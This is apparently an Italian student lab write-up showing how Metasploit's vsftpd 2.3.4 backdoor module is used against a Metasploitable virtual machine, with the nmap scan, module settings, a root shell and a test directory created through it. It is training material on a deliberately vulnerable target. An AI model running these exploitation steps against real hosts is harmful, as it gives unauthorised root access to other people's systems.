

# Esercizio 1 Settimana 7

## Metasploit

Oggi andiamo a prendere confidenza con una sessione di hacking utilizzando Metasploit sulla nostra macchina Metasploitable.

Per prima cosa andiamo a cambiare l'indirizzo IP di Meta in 192.168.1.149 e verifichiamo che comunichi con Kali effettuando un ping.

Andiamo quindi a startare Metasploit da terminale con il comando `'msfconsole'` e cerchiamo il servizio vsftpd dato in consegna con il comando `'search vsftpd'` generando la seguente schermata:

```
root@Andrea: ~
File Actions Edit View Help
MMMMMI MMMMM MMMMMMM MMMMM jMMMM
MMMMMI WMMMM MMMMMMM MMMMM# JMMMM
MMMMMR ?MMMM MMMMMMM MMMMM dMMMM
MMMMMM ?MMMM MMMMM dMMMM
MMMMMM ?MM MM? NMMMMMM
MMMMMMMMMe JMMMMMMMM
MMMMMMMMMMMMM, eMMMMMMMMMMMM
MMMMMMMMMMMMMMx MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM+ .. +MMMMMMMMMMMMMMMM
https://metasploit.com

=[ metasploit v6.3.27-dev ]
+ --[ 2335 exploits - 1220 auxiliary - 413 post ]
+ --[ 1385 payloads - 46 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of
Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor
Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > |
```

A questo punto selezioneremo la versione adatta alla macchina vittima e, per conoscerne la versione in ascolto sulla porta, faremo una scansione nmap con comando `'sudo nmap -sV 192.168.1.149 21'` (in questo caso abbiamo la versione 2.3.4):

```
root@Andrea: /home/andrea
File Actions Edit View Help
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

root@Andrea: /home/andrea
nmap -sT 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 16:05 CET
Nmap scan report for LAPTOP-4COMA36N.stacion (192.168.1.149)
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:6D:03:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
```

Con il comando 'use 1' su metasploit andiamo ad utilizzare questo payload (diverso da un Malware poiché non ha bisogno delle azioni dell'utente).

Con 'info' vediamo le impostazioni dell'attacco e andiamo a settare 'RHOSTS' con l'IP di Meta o macchina vittima e facciamo partire il tutto con exploit: una volta finito il processo e stabilita la creazione della Shell il gioco è fatto e un eventuale BlackHat può agire indisturbato:

```
root@Andrea: ~  
File Actions Edit View Help  
hdm <x@hdm.io>  
MC <mc@metasploit.com>  
  
Available targets:  
  Id  Name  
  --  --  
=> 0   Automatic  
  
Check supported:  
No  
  
Basic options:  
  Name  Current Setting  Required  Description  
  ----  -  
RHOSTS                yes        The target host(s), see https://docs.metasploit.com/docs/using-  
-metasploit/basics/using-metasploit.html  
RPORT      21             yes        The target port (TCP)  
  
Payload information:  
  Space: 2000  
  Avoid: 0 characters  
  
Description:  
This module exploits a malicious backdoor that was added to the VSFTPD download  
archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between  
June 30th 2011 and July 1st 2011 according to the most recent information  
available. This backdoor was removed on July 3rd 2011.  
  
References:  
OSVDB (73573)  
http://pastebin.com/AetT9s55  
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html  
  
View the full module info with the info -d command.  
  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149  
rhost => 192.168.1.149
```

```
View the full module info with the info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.1.149:21 - USER: 331 Please specify the password.  
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...  
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.1.60:35273 -> 192.168.1.149:6200) at 2023-11-06 16:22:08 +0100  
  
sudo su  
cd /  
mkdir test_metasploit  
█
```

Nella figura sopra possiamo notare che la connessione è avvenuta e a questo punto possiamo inserire comandi specifici come la creazione di cartelle e la navigazione tra le directory.

È molto importante settare le informazioni su attacchi e target che presentano la denominazione 'required : yes', esse sono indispensabili per poter eseguire il tutto con successo.

```
meta (Base collegata per meta e Clone di meta) [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

TX packets:89 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7801 (7.6 KB)  TX bytes:8576 (8.3 KB)
Base address:0xd010 Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:91 errors:0 dropped:0 overruns:0 frame:0
      TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ sudo su
[sudo] password for msfadmin:
root@metasploitable:/home/msfadmin# cd /
root@metasploitable:/# ls -la
.      ??B???Y46  home      lost+found  opt        srv         usr
..     cdrom      initrd    media       proc        sys         var
bin    dev        initrd.img  mnt         root        test_metasploit  vmlinuz
boot   etc        lib        nohup.out   sbin        tmp
root@metasploitable:/# cd
root@metasploitable:~#
```

Possiamo quindi notare che all'interno della root è stata creata la directory che abbiamo nominato test\_metasploit direttamente dal terminale di Kali.